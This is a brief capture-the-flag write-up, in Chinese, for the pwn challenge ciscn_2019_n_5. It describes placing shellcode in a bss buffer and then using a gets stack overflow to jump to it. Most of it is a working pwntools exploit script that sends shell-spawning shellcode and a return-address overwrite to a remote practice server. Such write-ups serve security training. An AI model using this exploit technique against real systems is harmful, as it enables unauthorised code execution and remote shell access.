shellcode

ciscn_2019_n_5

思路：read读取输入到bss段上的name中去，可以让程序读取shellcode，再利用后面的gets栈溢出getshell

main：

exp：

from pwn import *
from LibcSearcher import *
context.arch = 'amd64'
p = remote('node3.buuoj.cn',26505)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
payload='a'*(0x20+8) + p64(0x0000000000601080)
p.sendline(payload)
p.interactive()